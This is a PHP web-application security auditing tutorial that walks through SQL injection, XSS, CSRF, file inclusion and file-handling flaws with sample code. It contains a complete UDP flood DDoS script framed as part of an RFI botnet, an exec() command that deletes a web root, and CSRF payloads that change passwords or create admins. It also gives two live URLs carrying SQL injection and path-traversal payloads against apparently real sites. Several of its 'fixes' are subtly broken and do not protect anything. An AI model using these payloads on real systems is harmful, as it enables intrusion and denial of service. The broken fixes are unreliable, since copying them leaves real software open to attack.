Source Code Analysis in PHP Joseph Giron

This paper is divided into 5 sections.

I'm hoping that you, the reader have made a few programs in PHP and know its syntax

as well as some basic security. Who is the intended audience for this paper? Grey Hats - both sides of the spectrum.

Section 1: PHP security basics.

PHP is one of the most popular server side languages. Its fast, free, and has a large helpful community with numerous working examples on the web. It's also my favorite target as it shares C syntax and if written by a moron - a hacker's best friend. This is not to say programmers are stupid, but if you've ever done some source code analysis, you'll wonder by the end of your plight, "what the hell was this guy thinking?"

First things first, if you do not know the basics of php (syntax, flow, what functions are, etc) then stop, this tutorial is of no use to you. We won't discuss vulnerabilities just yet that are saved for a later section. The number one rule of php security is never EVER trust where data came from. Text boxes, useragents, cookies, SQL queries, third party software, and so on are all to be assumed bad. Example:

```
<?php

if (isset($_POST['submit'])) {

$lol = $_POST['hi'];

echo "<strong>Your name is $lol </strong>\n";

}

<form action="<?php echo $PHP_SELF;?>" method="POST">

What is your name?

<input type=text name="hi" />

<br>

<input type="submit" name="submit" value="Send" />

</form>
```

The code is taking user data and blindly echoing it back. No big deal at first glance...Until the user decides to inject script code sending other users to his page and / or installing malware. Why would this happen? Users of software are usually nice, but there is always one bad apple to ruin the basket. How do we fix this? strip_tags() on the variable $lol is one way, but we'll save that for the section on cross site scripting.

If you're checking the value of a cookie ($_COOKIE), does it echo back the value? Do you know it's clean? What about the user agent? Believe it or not, you can spoof your user agent string. You can tell where I've been in access.log when you see 'evil1 was here'. The point I want to get across about all php security is to never EVER trust user input.

Whenever you encounter SQL data, always check for how the input affects the query. You'd be surprised how often you can get away with terminating an SQL command string and start going again with attacker code, Some things however affect security and have nothing to do with user input. Sometimes shared hosting on a web server can affect the security of your applications. If a rouge user views your data, will he be able to get user information? Encryption is important. PHP supports a number of encryption algorithms such as md5() and crypt() which uses triple DES. Encrypting your user's passwords is a great way to stave off attack should your site get hacked and the user/password list be obtained. Don't skimp on the encryption though, as I have run into people storing passwords with ROT13 (makes me lol every time).

That was boring, so let’s get into more advanced stuff.

Section 2: Tools to use

Those who know me know I hate using too many tools. There are far too many pricey tools to scan for this or that, and they're putting me out of the job even though they suck and don't find the stuff a manual bug hunter would find. I'm calling you out Immunnitysec! Any-who, the tools I use for auditing php web applications are simple and free.

The first tool - Firefox. Why? The add ons man! I don't need to change the registry to modify my user agent, I don't need to use inline JavaScript to change a form field, and I don't need need to write up a sniffer tool to modify http headers. Firefox is, hands down, THE hackers choice for auditing php apps in my opinion. My other favorite browser is Lynx, but lets save that for another paper. What add-ons for Firefox? There are 3 I always have on hand.

1) The web dev extension. Good for a quick form change or peeking at session IDs and cookies without messing with inline javascript. Also useful for disabling meta redirects, java, and javascript on the fly as well as validating my html codes.

2)Tamper Data. Holy crap is this a good one. When you don't have source code and want to mess with some HTTP requests, there is nothing better. It also includes a few options for adding additional attack vectors such as SQL Injection, Structs Cancels, XSS, Data encoding, base64, and a bunch of other useful crap. Awesome sauce.

3) Firebug. While not really useful for PHP applications specifically, it is useful for
Grey boxing AJAX which may or may not call server side code. Also handy for editing an
html field on the fly without using inline JavaScript.

I've been throwing around inline javascript a lot, so let me clear up what I mean by it: type
javascript:alert(document.cookie) into your address bar in Internet Explorer or Firefox,
and it will display a cookie. Using this code you can modify HTML code and forms, but its
tedious. Firebug allows me to make changes on live pages without saving them and editing them
and has a useful debugger for javascript code. This tool is greatm its just a memory hog when
you combine it with a bunch of open tabs.

Second tool - time. When you're strapped for time, you tend to miss things. Try and manage your
time when you look for bugs. Don't spend too long on something, but also don't skip through it.

Third tool - patience. Just becuase you've been searching for an hour and haven't found anything
doesn't mean you won't find anything at all. Be patient.

Fourth tool - A web server of your own. Hardcore as you may feel, its still illegal as hell to
test your findings on other people's servers. Use your own damn web server to test your stuff.
A VMware box or separate box could suffice, but My favorite web server is a package is called
XAMPP and it includes Apache, Mysql, PHP, and an SMTP server all under 30 megs! It works on both
linux and windows making it ideal for thumb drives.

Fifth tool - A decent word processor. While I have no real objections to VIM or Notepad, I tend to lean more towards a syntax hilighting text editor. Notepad++ is my favorite since its both free and open source, and also works on Linux. Be sure to include line numbers in your file since nothing sucks more than getting up to go to the bathroom or answering your cell and forgetting your place. It sucks.

Sixth tool - Booze. If you're a lightweight, then you don't need much. If you're at work, try sneaking it in a flask or injecting it into some fruit with a syringe. Works best with vodka or Schnapps. Alchohol slows things down, and allows you to think outside the box, which is helpful. Don't overdo it though, since no one likes a stinken drunk.

Section 3 PHP vulnerability discovery with covered topics

There is much to go over when it comes to php security. as you can see below, we have a lot to go through:

*SQL injection

*Cross Site Scripting

*Cross Site Request Forgery

*Local / Remote File Inclusion

*File / Directory Abuse

*Path / Information Disclosure

*Weak Session Management

*Variable abuse

*Other injections (Logs, LDAP, unauthorized command execution)

*PHP.INI file settings

We shall discuss each of these classes in detail. Examples will be provided in the next section. This section is just a refresher.

The first class of vulnerabilities is one of my dear favorites - SQL injection. SQL injection in a nutshell is the ability for an attacker, let's say me, to inject / append my own SQL query code into an existing SQL query. Login bypassing is merely the beginning as SQL injection is much more powerful. Imaging me, grabbing everyone's credit card numbers, names, social security numbers and addresses without defacing the website or even making my presence known. SQL injection has been popular these last few years, but not much has been done to prevent it. Once in awhile I'll run into a filter or a regular expression that blocks my injection, but there are evasion strategies out there. Finding n SQL injection vulnerability in source code isn't too difficult either. We are merely checking for append data on top of a query.

The second specification of vulnerabilities is cross site scripting or XSS. XSS has also been popular lately largely due to the branches of exploitation XSS has branched off to. Cross Site Request Forgery, DOM based XSS, and Control Line Feed injection have sprung up recently, but they all boil down to the same principle that is XSS - allowing un-trusted input to be echoed back to other users in some way or another. You'd think XSS would be easy to remove from your website, but as more and more sites desire user interaction, the struggle continues. Consider this: A JSP application's error routine grabs all environment variables as well as the page referrer, useragent, and username and stores them in a log file for the administrator to see. Since I can control the useragent, referrer, and username, I can potentially poison the log file with XSS code and do my evil business when the administrator takes a peek at the error log.

Cross site request forgery in a nutshell is essentially adding script code to be executed when a privileged user is exposed to this script code. Example, my boss sends me an email sayin he wants to chat with me about my progress, and I send him back an email with script code that will modify his TPS report under his account to make it say I was doing good this week. If I look at the script code I'm fine and noithing will happen as I lack the privilege. Since my boss does, when the code is executed, his privilege will allow the code to be executed and my TPS report will say "I'm rocking da house"

File / Directory Abuse is defined as manipulation of variables or handles that deal with paths or files themselves. These exist in all languages, but the php ones are easy enough to spot. The conditions of a file / directory attack include but ar not limited to a series of '../'s or paths to actual files aided by a path disclosure.

The next section is weak session management. The ability to steal other user's sessions either by some form of XSS, or by session predictability. Though it may seem unlikely someone could steal your session, I have in the past been able to login to other people's phpmyadmin panels via cache'd google search results.

Variable abuse can fall into many categories, but it remains the same throughout. We manipulate variables to play in our favor. example, say there's a global boolean value $is_admin that we discover in an admin script. If register globals is enabled, we could pass is_admin=true to the URI and get admin access without logging in. This is a simple case of variable abuse.

Other injections such as XPATH, XML, LDAP, and shell arguments we will cover in that section. Xpath is is used with XML, ldap injection comes into play when a php application accepts user input and passes it top an LDAP server, and shell argument abuse can occur if we can somehow control the variables inside a shell function within php like shell_exec(), exec(), system(), or double tic(``).

The settings in your php.ini can make or break an application. Once in awhile you'll see a php.ini file within the application's root. These settings are intended to override your default php.ini settings for the server itself. Lines like GPC_MAGIC_QUOTES should always be on to protect against SQL Injection, though sometimes, some developers turn it off because it either breaks their applications, or the setting needs to be disabled for legacy code support. This section will discuss the PHP.ini settings you should look for when you encounter an ini file in the application's directory root.

Now that I've explained what I want to go over and given an explanation of each, we can just straight to the goods. Let's get this party started.

****

SQL injection

****

SQL Injection is still one of the most prevalent and popular attacks against php web applications. Why? Some people just can't handle their data. They TRUST it's safe when they mix it with user data. lets cover some basic injections.

```
<?php


$mysql_link(localhost,root,"");

$page_id = $_GET['pg_id'];

?>
```

This is a very basic flaw. There are a couple of ways to fix this. First way would be to try and make sure the page_id is an integer. Luckily, php has built in functions to save us.

```
<?php


$mysql_link(localhost,root,"");

if(is_int($_GET['pg_id']))

{

$page_id = $_GET['pg_id'];

}

else

{

Echo "WHAT THE HELL DO YOU THINK YER DOING? GET OUT OF MY SITE!!!!";

mail("admin@mysite.com","damn hackers","this prick " . $_SERVER['remote_addr'] . " tried to hax into us!. ", "From: Damn-h@cke.rs");

exit();

}

?>
```

Second way would be to try and type cast the variable as an integer and die() if it fails. This works good and all for integers, but what about strings? There are several other fucntions at our disposal to use to filter strings. Whether you're a coder looking for crap in your code or hunting for 0days in other peoples stuff, you'll need to look for these functions (or lack there of), mysql_escape_string(), addslashes(), the presence of stripslashes(), mysqli_real_escape_string, addcslashes. Another thing to look for would the presence of GPC_MAGIC_QUOTES being off. More on that though in my discussion on INI settings. Time for another example:

```
$header = $_POST['searched_header'];

mysql_query("SELECT news_id, header, title, date FROM news where title LIKE %$header%");

echo mysql_result();
```

Here we see a POST request (probably from some sort of search dailog) that is looking for the news header and matching it against our query. Since there is no processing on our POST data, we can readily inject our own SQL commands. How would we protect against it or know its protected? The presence of one of our functions mentioned earlier.

```
<?php

$header = addslashes($_POST['searched_header']);

mysql_real_escape_string(mysql_query("SELECT news_id, header, title, date FROM news where title LIKE %$header%"));

echo mysql_result();

?>
```

Another way that works is:

```
<?php

$header = $_POST['searched_header'];

mysql_real_escape_string(mysql_query("SELECT news_id, header, title, date FROM news where title LIKE %$header%"));

echo mysql_result();

?>
```

Since php's inception, there have been many functions implemented to defend against SQL injection. Aside from "writting better code" which may or may not be an option for the company you are doing the audit for (for all you know, the old dev got fired for writting crappy code), there exist a pleathora of functions and PHP.ini settings for defending against such attacks. Always include at least a few of them with your source code analysis report under 'reccomendations' as it shows know more than just how to break stuff - you can fix things as well. Lets cover some.

Method 1 - Built in escape functions

Like stated previously, addslashes() will add a slash mark '\' to any characters that have special meanings in SQL queries such as the single quote and the # sign.

mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

Another method would be to enable the directive magic_quotes_gpc in your PHP.INI file.

When magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NUL's are escaped with a backslash automatically. One thing worth mentioning is that if you call mysql_real_escape_string on a variable and the magic_quotes_GPC directive is enabled, the string will be escaped twice (think 2 slashes instead of one) so consider using stripslashes() to remove them before calling mysql_real_escape_string();

In the RFI / LFI section, I go over variable tracing through includes files. The same applies to SQL Injection as sometimes you will encounter a custom function for dealing with SQL data.

Take for example the following contrived php:

```
<?php

require('/includes/anti_hack.php');

require('/includes/database_connection.php');


$user = $_POST['username'];

$pass = $_POST['password'];
```

```
AntiHack($user);

AntiHack($pass);

$query = "SELECT * FROM users WHERE user='{$user}' AND password='{$pass}'";

mysql_query($query);

}

?>
```

We have what appears to be a vulnerable query, but wha'ts this? What the hell is AntiHack()? Some sort of scheme for stopping us? Let's take a look at what's inside antihack.php under the includes directory:

```
<?php

include('session.php');

include('settings.php');


function AntiHack($field)

// this should keep those pesky kids off of my stuff

        {

                if($_POST)

                {

                        if(!empty($_POST[$field]))

                                return $_POST[$field];

                }

                if($_GET)

                {

                        if(!empty($_GET[$field]))

                                return $_GET[$field];

                }
```

```
                        return 0;

            }

function validsession()

            {

                        if(isset($_SESSION['username']))

                        {

                          $diff=time()-$_SESSION['time_adm'];

                          if($diff >= 1200)

                          {

                                    unset($_SESSION['username']);

                                    error("Session Expired", "index.php");

                          }

                          else

                                                $_SESSION['time_adm']=time();

                          if($_SESSION["admin"] != 1)

                                    error("Unauthorized Access!", "index.php");


                        }

                        else

                                    error("Session Expired!", "index.php");

            }


?>
```

Wow, an unfinished function that does nothing! Amazing! You're bound to encounter plenty of these kinds of vulnerabilities at some point. There is another function thrown in the mix that just handles sessions, but we'll cover sections later. Just remember to trace your variables through your includes if you don't recognize a function.

This section was brief, but only because SQL injections are easy to find in PHP apps. If you're working on a large scale application and are checking for SQL injection, just trace all variables passed to SQL queries to see if they are filtered in any way. If they are not, then SQL injection IS possible. Even without error messages to guide attackers, it’s still a hole and it should be fixed.

Here’s another link to toy with:

http://www.miracleflights.org/stories/story.php?story_id=44%20union%20all%20select%201,user%28%29,3,@@version,5,6,7,8,9,10,11%20from%20stories

****

Cross Site Scripting

****

While thrown around a lot these days, Cross Site Scripting (abbreviated XSS) is the ability to place html and script code into user data and have it executed by other users within the application. There are 2 types of XSS. Reflective and non reflective. Reflective means you don't have to trick a user into navigating to a malicious URL. The attack can happen without them even knowing about it. Non reflective XSS is when you attack the user by tricking them into visiting a link. Usually, no reflective attacks are more common than reflective and can be spotted most easily by the presence of a GET request being echoed back to the user. In my experience, I usually see non reflective XSS in the form of error handling. In fact, a few years ago, you could fool ColdFusion's default error handling system into doing non reflective XSS by specifying a bad CFID (cold fusion's special session ID variable much like PHPSESSID) and adding in your own script code.

How to you protect against it? htmlspecialchars() for example will strip out html tags from a string. Quite effective for preventing both reflective and non reflective XSS. strip_tags works with php code as well as html. htmlentities does something similiar, except takes the html codes and converts them to their respective codes like so: &lt;b&gt;bold&lt;/b&gt; which is <b>bold</bold>.

htmlspecialchars_decode does what it says it does, decodes htmlspecialchars(). Watch for this function as it is useful.

Now to see some bad code in action. This code is more than vulnerable to XSS.

```
<html>

<body>

<h1>

Enter message: <br />

</h1>

<form action="<?php echo $PHP_SELF ?>" method="POST">

<input type="text" name="message" />

<input type="submit" name="doit" value="Submit" />

</form>


<?php

if(isset($_POST['dooit']))

{

$msg = $_REQUEST['message'];

echo "Your message: <br />";

echo $msg . "<br />";

}

else

{

exit();

}

?>

</body>

</html>
```

In this trivial piece of code, we have a post variable begging blindly echoed back to us. A user can enter html or script codes (javascript, vbscript come to mind) and it will be in turn, activated as code on the user's browser. This means, in order to find XSS vulns / bugs, all we have to do is look for echo statements that echo back user controlled data with weak or no filters. The following is a cleaned version of the above code:

```
<html>

<body>

<h1>

Enter message: <br />

</h1>

<form action="<?php echo $PHP_SELF ?>" method="POST">

<input type="text" name="message" />

<input type="submit" name="doit" value="Submit" />

</form>


<?php

if(isset($_POST['dooit']))

{

$msg = htmlspecialchars($_REQUEST['message']);

echo "Your message: <br />";

echo $msg . "<br /> free from html and script code!";

}

else

{

exit();
}

?>

</body>

</html>
```

As you can see, XSS is easy to prevent with our pre-defined functions at our disposal. It's even easier to spot when you're source code auditing or grey boxing since all you have to do is enter some html code into the form and see if it echoes back. Now to demonstrate the difference in code between reflective and non reflective XSS:

Here we have a standard error page setup for some custom 404 in php. Can you spot what we did wrong here?

```
<?php

$url = $_SERVER['REQUEST_URI'];

echo "404 man, idk how you got here, but " . $url . " is wrong. Try again bro.";

echo "Click <a href='javascript:history.go(-1)'>here</a> to go back!";

?>
```

The request_uri is the only variable being used and we can use this against the site for non reflective XSS. Why non reflective? Because we can only get a user to get to said offending page by tricking them into going to a link. Since this is a 404 handler, all we have to do is make up a bogus url within the web app's path and include our script code within the URI. The 404 handling page will then echo back to us our offending URI with whatever dirty script code we include. Also since this is a URL, we can use various encoding methods to trick our users includong using their appropriate hex codes (%41 for a, %42 for b, etc available to us on an ascii table) to make the URL look more or less legit.

So what are we essentially looking for in our code we're reviewing? Bad filters on data echo'd back to us (or even lack there of said filters). Sometimes, a variable will be echo'd back to the user in the code, but it wont be immediatly apparent that its vulnerable to cross site scripting. Example time:

```
<?php

include("global.inc.php");

echo "IP is " . $somvar;

echo "<br />";

echo "User agent is: " . $anothervar;

?>
```

At first glance, the code is not apparently vulnerable. One thing to notice is the use of the included file. Since $somevar and $anothervar arent declared in the code, they could be decided null, but in this case with the aforementioned include() statement, there is a good chance our variables are defined inside. This also holds true for other attacks and general variable tracing. If a function is called on a page and you cannot find its prototype, then its probably inside one of the included files. Here is the contents of the global.inc.php file:

```
<?php

// global.inc.php

$somevar = htmlentities($_SERVER['REMOTE_ADDR']);

$othervar = $_SERVER['HTTP_USER_AGENT'];

?>
```

In this contrived example, the developer felt the IP address needed to be checked for html code becuase he thought maybe hackers could make their IP include carats '<' & '>'. What a noob. We also see the other variable $othervar is obtained from the user agent string. How do you attack this? Two ways come to mind.

1. Build an HTTP request in some language and keep in mind that you can include a user-agent string as part of your request.

2. The simpler way, in the case of Firefox would be to just override your settings. How? Type about:config into the address bar. Right click some whitespace and click NEW. Then in the box, type

'general.useragent.override' without quotes. Then for the value, type your XSS attack string. Easy enough right?

<img src="instructions" />

This concludes looking for XSS. Now on to Cross Site Request Forgery - the other white meat.

****

Cross Site Request Forgery

****

What the heck is it and how is it different from XSS? CSRF is made possible by a grant from developers like you, who allow code to be run without authentication. An example would be an admin function for adding users that can be recreated with javascript. All an attacker has to do is fool an admin or elevated user into visiting the page (an email asking for web help comes to mind) and the code will bge executed. When used in conjunction with cross site scripting, the attacker might not even have to fool ad admin or elevated user into clicking a link or visiting a bad page, but instead have his commands executed on their behalf via reflective cross site scripting. The following is an example of some javascript code for attacking a CSRF vulnerable page:

```
<script>
window.forms[1].username="admin";window.forms[1].password="lolitrolu";
</script>
```

There has been a lot of talk about CSRF. Many advisories and even more blog posts on the subject matter, but what is it? CSRF also known as cross site request forgery is when you can build a request clientside to execute a command server side. That's it. And many forms are vulnerable to it. How is it done? A little html for the form and some javascript to execute it:

```
<body onload="javascript:void(document.forms.lol[1].submit)">

<form action="http://www.vulnerablesite.net/useradmin.php" method="POST" name="lol">
```

```
<input type="text" name="newusername" value="newadmin" />

<input type="text" name="newuserpass" value="newpasswd" />

</form>

</b>
```

This code assumes a user of some site is tricked into going to a page the code is executed on behalf of their privs on that site. If it were an admin, then it would add a new user. How can this be prevented? Usually by some sort of session object. Taking this one step further, ajax requests can build http request, and if you know http requests, this can include passing cookies (think session IDS), so the session object is useless as well. How else can this be mitigated? Well sir, you could build your code to only accept variables posted from your server so when the site recieves variables from a script outside the web server, they are rejected. Dot NET applications already do this with encrypted viewstate variables, so CSRF isnt really a problem for Dot NET applications, but its a big problem for PHP web apps.

CSRF is different from XSS(non reflective) in that you are tricking the user to visit your page with the aforementioned script code and ajax in it. As a result, when you hunt for CSRF, you aren't looking for the same stuff you would as when you're looking for XSS ie; unfiltered request variables of the GET, POST, REQUEST and COOKIE nature. All you are looking for is if you can execute server side code from a remote place outside of the web server. How does this look in code form? It's more of a lack of code there of that we are looking for. If you see a form without checks for server on server execution, then chances are the form code is vulnerable to CSRF.

Here is what a CSRF vulnerable form with php code looks like:

```
<?php

if (isset($_GET['submit']) && !empty($_GET['password']) ){

  changepass($_GET['password']);

}

?>
```

the offending php code does not care where the password came from as long as the password is not empty and is set somewhere.

How is this exploited? An XSS hole would help, but all you really need to do is trick a user into viewing the following offending html and clicking:

```
<img src="https://lol.com/useradmin.php?submit=Update&password=ANewPassword" height="1"
width="1" alt="" />
```

You could send it to them as an email, or even via a text message with a hyperlink. What about code that relies on POST instead of GET? Here is where you need to get creative. There are a number of javascript events you can use to get what you want - to submit a form as POST. Your code would have to do something like the following:

```
<p onmouseover="document.forms[0].submit()">MOUSE OVER ME FOR AWESOME THINGS TO
HAPPEN</p>

<form action="http://lol.com/updateuser.php" method="POST">

<input type="hidden" name="submit" value="doit" />

<input type="text" name="userpassword" value="AWESOMETHINGS" />

</form>
```

As soon as a user mouses ober the "AWESOME THINGS" text, the form is submitted and the password is changed. I've seen people place this code within iframes and set the visibility to 'hidden' in order to avoid the whole page being submitted, but its totally up to you.

I know this section should be longer, but CSRF attacks are more of a client side vulnerability. Without an XSS hole or "stupid" users, they would not exist in the wild.

****

Local / Remote File Inclusion

****

Though this attack could be succuessful without a path diclosure, it does help. Example: I insert an array into a variable that expects a string. I'll probably get an error back that displays the path to the file that screwed up. Using this information, with a local file include vulnerability, I could read the source code of other files. Namely login.php or maybe an include file. Remote file includes are more powerful than local file includes. The payload allows for a remote php file to be executed. Some people don't understand the power of a server side lanuage. I could execute system commands. Consider the following php code:

```
<?php

exec("rm -rf /home/lolwut/wwwroot; echo lol evil1 was here > index.php");

?>
```

I know, I'm mean. But in all seriousness, deletion of the web root is the least i can do. Personally, I'd just throw a web shell into a few include files, then work on elevating my privilages, but thats just me.

What does a remote file include look like? RFI's are a dying class of vulnerablity since they only affect web servers with PHP v4 and v5 (if the ini file was modified by a dumbass). 2 PHP.INI settings need to be enabled for this attack to work. While technically you can get the attack to work with only the first, the second INI setting seals to deal as it opens up a plethora of vectors for finding such vulnerabilities. What are the settings?

allow_url_include

This setting specifically allows for the web server to process remote data. Functions such as Include(), Include_Once(), Fopen(), Require(), and Require)Once(), Simple_XML_Open_File, and a dozen others (just browse through php.net) take a string parameter and read / process the files they return. With the allow_url_include option enabled, you can use these functions with remote servers. While it may seem handy, it creates more problems than it solves. If you want to reccommend something to a coder when you encounter this, tell them to use fsockopen() or cURL to read files remotely.

REGISTER_GLOBALS

The REGISTER_GLOBALS setting allows for global variables to be modified globally. Say I have a variable named _PATH_ that is defined as a global variable for use with my installer script. With REGISTER_GLOBALS enabled, a user can, assuming they know the name of the variable, change the contents of the variable using the query string. Think of how much mayhem this can cause.

Going back to my remote file include discussion, we are looking for these 2 variables when hunting for RFIs. They will defined in the PHP.INI file, and will also be present in PHPINFO(). One more thing worth mentioning is when you encounter a PHP.INI file in a web root, or directory. These settings are for overriding the default PHP.INI settings established in the PHP config directort, so be on the look out for these. I will cover PHP.INI file settings in another section.

With all of that wonderful knowledge out of the way, we can now look at what a real RFI looks like in code.

```
<?php

$pagefail = $_GET['inc'];

include($pagefail);

echo "<br /> including " . $pagefail . " set sail for fail!";

?>
```

As you can see, the variable appropriately named '$pagefail' is being initialized from the query string 'inc' and then included. This is bad. This is really REALLY bad, but you will probably encounter it at some point. Assuming allow_url_include is enabled, we can easily pass 'inc' variable a remote URL. A text file with some PHP code inside will suffice. If allow_url_include is disabled, then a local file will do. More on local file includes later in the section.

Why a txt file? Include() and its variants will include / execute any file pointed to it by the string. Since a web server cannot read in php code from another web server remotely (think MIME types), then a txt file is the next best thing. What could we include though? That is up to the hacker. I'm thinking a c99 web shell would do nicely.

That is fine and dandy, but we need more examples of vulnerable code!

In a normal, 'secure' include(), you will notice that the file included is both local, and ends in the suffix '.php'. This is done for 1 main reason; Viewers of your web site cannot see the contents of server side code. This is a good thing.

Older code may use the '.inc' suffix for its include() statement but these files are readable by remote users(BAAAD) unless configured by apache or IIS to forbid the MIME extension (usually done by a .htaccess file).

If remote users CAN read server side code, you could be giving out sensitive info such as hard coded password to the database.

The following vulnerable code works even against the Suhosin patch which supposedly helps stop vulnerablilities. Why? Like the mod_security apache patch, it DOESNT CHECK post values. This is why the following code can still be exploited on php5 regardless of security patches:

```
<?php

echo "<form action='index.php' method='post'>";

echo "Enter first value: ";

echo "<input type='text' name='val1' />";

echo "Enter second value: ";

echo "<input type='text' name='val2' />";

echo "<input type='HIDDEN' name='page_name' value='whatever.txt' />";

echo "<input type='Submit' value='submit' />";

echo "do it";

echo "</form>";


if(isset($_POST['page_name']))

{

$pg = $_POST['page_name'];
$contents = $pg;

include($contents);

$result1 = htmlspecialchars($_POST['val1']);

$result2 = htmlspecialchars($_POST['val2']);

$result3 = $result1 * $result2;

echo $result . " times " . $result2 . " is " . $result3;


}

?>
```

The script is fairly straight forward. We accept 2 values from a text box for multiplication. We also have a hidden form field which could be used for checking state (think multi-step operations such as user registration or some survey). The values are posted to the same page and processed in the if block. The values passed by the form text boxes are checked for html characters, but thats pointless since the 2 values are being mulitplied together. The variable $pg is grabbed from the posted value taken from the hidden form field and included as $contents. This is the vulnerability. A user can change the value of the hidden form field locally then that page will be included. This qualifies as both an LFI and an RFI.

The difference, in terms of exploitability between RFI's and LFI's is that exploitation is easier when you can remotely include a file. I'm not saying you can't do the same for an LFI, but it is much easier to do so with an RFI. Whats the worst that can happen though if they can execute server side code remotely?

A couple years ago, some friends whom I will keep anonymous setup a massive botnet using only RFI's they found in open source software. They collected some 20 thousand RFI's all over the world and colbunated them together. They even had a script for remotely feeding DDOS scripts to own targets. Allow me to post some code to show you what I mean.

Here is a simple UDP flooder PHP script from scratch:

```
#!/usr/bin/php -q

<?php
```

```
ignore_user_abort(TRUE);

set_time_limit(0);

if(!$_SERVER["argv"][1])

{

echo "no ip specified";

die();

}

$ip = $_SERVER["argv"][1];

$mins = 9001; // OVER 9000!

$psize = 65000; // max packet size

$secs = $mins*60;

$out = "OH HELLO THAR\r\n";

for($i=0;$i<$psize;$i++)

{

$out .= chr(mt_rand(1, 256));

}

$timei = time();

while(1)

{

$i = 0;

        $handle = fsockopen("udp://".$ip, mt_rand(1,65000), $errno, $errstr, 1);

        if ($handle)

{

                fwrite($handle, $out);

                fclose($handle);
        }
        $i++;
        if ($i > 5000) {
                if (time() - $timei > $secs) exit();
                else $i = 0;
        }
}
exit();
?>
```

The '#!/usr/bin/php -q' directive signifies this is a CLI php script much like perl or bash. The script accepts an IP address as its second argument and then proceeds to randomly build text strings and send them over the UDP protocol ad infinitum. Now imagine this script being executed on 20 thousand hosts with all their web hosting bandwidth behind them.

The possibilities are limitless. With an RFI would could even throw up some cURL code and use each owned host as an http tunnel. This is why it helps to be a programmer on top of being an awesome hacker.

How do you spot RFI's and LFI's in applications without digging through thousands of lines of code? While I would generally reccomend against this since you miss a lot of things, you can automate the process with grep. Grep is your best friend. Here is an example for finding the most trivial of RFI/LFI's:

```
evil1@Renegade:~$ grep -r -n 'include($_' /var/www/*.php
/var/www/heh.php:2:include($_POST['lol']);
```

As you can see, grep shows us the line number, and the file associated with the pattern of the offending vulnerable code. In this case, line 2 of 'heh.php' in the www directory. This technique works for basic include() style RFI/LFI's but the command can be adapted to work with the other functions for handling included code. Here is a list:

```
include()

grep -r -n 'include($_' /var/www/*.php

include_once()

grep -r -n 'include_once($_' /var/www/*.php

require()

grep -r -n 'require($_' /var/www/*.php

require_once()

grep -r -n 'require_once($_' /var/www/*.php
```

While this may come in handy for quick review, it is not sufficient for finding code vulneranle becuase of global variables or variables included later that could be modified. This just picks the low hanging fruit. In fact, the same command could be adapted for other vulnerablilties as well such as XSS, file / directory abuse, and command injection, but that is for a different section (I promise I will go over it).

What are global variables and how do they affect includes? A global variable that can be modified in one context changes the meaning of a program's functionality drastically. Compare and contract the 2 functions:

```
<?php

include(MAINDIR . "/lol.php");

// MAINDIR sticks out like a soar thumb as a global variable

?>
```

What about LFI's? You went into great detail about RFI's but not LFI's. WHY?????? First off, take a Xanax, and calm down. Second, the two are essentially the same. You find them both the same way, the only difference is in terms of how you exploit them. LFI's need to be exploited differently. With an LFI, you can read file and do some good information gathering (such as the contents of /etc/hosts) or get yourself a list of users (/etc/passwd comes to mind). In my later section titled 'other injections' I will cover how you can execute PHP code using an LFI. For now though, this section is over.

Want a link to mess with?
http://www.springfieldohio.net/ncarl/news/local/results.php?file=../../../../../usr/local/apache/logs/access.log

****

File / directory abuse

****

When encountering code that has the ability to read or write files / directories,

one should always look to see if the variables passed to such functions are safe.

After all, wouldn't it be a BAD thing if a user can erase the access_log file merely

by passing /logs/apache2/access_log as a cookie parameter? I think so too.

There are a number of functions you are likely to encounter whilst auditing file &

directory handling code. The most notible that come to mind are fopen(), fgets,

fputs, and hilight_file(), but there are a dozen others including some new ones

added with PHP 5. What does it look like in the code? Time for some contrived code:

```
<?php

$fn = $_GET['file'];

$fp = fopen($fn,'r');

echo fread($fp,filesize($fn));

fclose($fp);

?>
```

$fn contains the name of the file we are opening, 'r' means we are reading a files contents,

$fread() takes handle to the file $fp and reads the file size of the file we are reading,

all the while the contents of the file are sent to the browser, then the file handle is closed.

What is wrong with this? Well seeing as though a user can pretty much read ANY file on the server merely by passing the right file name, I would say there is a lot wrong with this code bit.

The release of PHP 5 brought with it several new functions. With new functions brings new possibilties for vulnerablilty. Now, instead of fopen(), one could use file_put_contents to write the contents of a file in one fell swoop. For every yin there is a yang, and for reading the contents of a file without creating a file handle, you could use file_get_contents. There are numeruous file handling functions in php other than fopen that I'm going to list off and explain:

Readfile()

Reads the contents of a file and outputs its contents to a variable buffer.

Fread()

The standard way to read a file's contents from a file handle returned by fopen().

File_get_contents()

retrieves the contents of a file and stores it in a string variable.

File_put_contents()

writes a string to a file name.

Highlight_file()

A special function used by programmers to highlight the source code of a text file, usually php. From time to time, I encounter pages that use this function to show how "open source" they are by letting me see the source code of the page. Very dangerous if used incorrectly.

fwrite()

Writes data to a specified file handle opened by fopen();

fpassthru()

Writes a string of data to the specified file handle usually returned by fopen() or fsockopen()

fsockopen()

creates / opens a stream for processing and handling of tcp streams and sockets calls.

What about file processing? Uploading is technically file processing. Hopefully we know by now the dangers of allowing a user to upload anything they want to a web server. String processing plays a vital role in how to limit which kinds of files are uploaded and which kinds of files are discarded. As such, we will look upon some examples of file uploads gone wrong.

```
<?php

$fname = $_POST['fname'];

$dir = "/usr/home/heyhi/public_html/uploads";

$copyfile($tmp,$dir . $fname);

echo "File " . $fname . " successfully uploaded!";

?>
```

Another example of bad file handling:

```
<?php

$_COOKIE['homedirconfig'] = "joe.conf";

$homedircfg = "/home/webuser3/public_html/userdirs/" . $_COOKIE['homedirconfig'];

$settings = file_get_contents($homedircfg);

echo "settings: " . $settings;

?>
```

As faux as this example may seem, I have run into it before. See the vulnerability here? The relaince on cookie data for part of the file name?

What about the blind call to a file function without filtering? Exploiting this would be as easy as setting the cookie named "homedircfg" to something like "/etc/hosts" or whatever file you want. What can you reccomend to the coder in case you wish to fix this? Other than a 'slap to the face', reccomend that he use str_replace to check for '..' and '/' characters.

```
<?php

$_COOKIE['homedirconfig'] = "joe.conf";

$homedircfg = "/home/webuser3/public_html/userdirs/" . $_COOKIE['homedirconfig'];

str_replace("..","GTFO",$homeconfigdir);

str_replace("/etc","GTFO",$homeconfigdir);

$settings = file_get_contents($homedircfg);

echo "settings: " . $settings;

?>
```

With just a couple of lines, we can effectivly piss off potential attackers.

